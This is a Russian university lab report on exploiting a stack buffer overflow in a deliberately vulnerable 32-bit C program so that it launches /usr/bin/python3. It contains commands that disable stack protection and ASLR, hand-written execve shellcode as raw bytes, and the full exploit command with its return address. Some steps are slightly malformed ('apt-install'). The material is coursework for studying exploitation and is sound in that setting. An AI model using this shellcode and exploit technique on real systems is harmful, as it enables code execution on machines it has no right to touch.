Скачиваний:
42
Добавлен:
10.04.2023
Размер:
1.15 Mб
Скачать

МИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ,

СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ ИМ. ПРОФ. М.А. БОНЧ-БРУЕВИЧА»

(СПбГУТ)

Факультет Инфокоммуникационных сетей и систем Кафедра Защищенных систем связи

Дисциплина Эксплуатация Уязвимостей Программного Обеспечения

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №2

Эксплойт вызова интерпретатора через переполнение буфера.

(тема отчета)

10.03.01 Информационная безопасность

(код и наименование направления/специальности)

Выполнил:

Яковлев И. А., ИКБ-95_____________________

(Ф.И.О., № группы) (подпись)

Милькота Н. О., ИКБ-95_____________________

(Ф.И.О., № группы) (подпись)

Погосов М. В., ИКБ-95_____________________

(Ф.И.О., № группы) (подпись)

Преподаватель:

Браницкий А. А___________________________

(Ф.И.О) (подпись)

Санкт-Петербург

2022

Эксплойт переполнения буфера, приводящий к вызову интерпретатора /usr/bin/python3 внутри уязвимой программы

1)С помощью команд устанавливаем утилиты. sudo apt-install gcc

sudo apt-install gcc-multilib sudo apt-install nasm

2)Листинг уязвимой программы vuln_stack.c:

3) Команда для компиляции программы:

gcc -g -m32 -fno-stack-protector -z execstack vuln_stack.c -o vuln_stack

Отключение механизма ASLR

sudo sh -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’

4) Получение адреса буффера (переменная buf):

Вывод: addr buf: 0xffffd86c

5) Получаем строки байт из строки “/usr/bin/python3”

Вывод: 2f 75 73 72 2f 62 69 6e 2f 70 79 74 68 6f 6e 33

6)Написать и скомпилировать shellcode.asm, в регистр помещаем байты строки

“/usr/bin/python3”:

2

Команды для компиляции программы: nasm -f elf shellcode.asm

ld -m elf_i386 shellcode.o -o shellcode

7) Получение машинного кода: objdump -M intel -d shellcode

31 c0 50 68 68 6f 6e 33 68 2f 70 79 74 68 2f 62 69 6e 68 2f 75 73 72 89 e3 89 c1 89 c2 b0 0b cd 80

8)В качестве аргумента подаётся строка, в которой по порядку указываются байты шеллкода, полученные выше, после этого мусор – в итоге получаем 112 байт, последние 4 байта это адрес 0xffffd86c из переменной buf. Строку мусора из 79 букв «А» можно получить с помощью команды python3 -c ‘print(“A”*79)’.

Запуск эксплойта:

./vuln_stack `echo -n -e

\x31\xc0\x50\x68\x68\x6f\x6e\x33\x68\x2f\x70\x79\x74\x68\x2f\x62\x69\x6e\x68\x2f \x75\x73\x72\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6c\xd8\ xff\xff”`

3

4

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения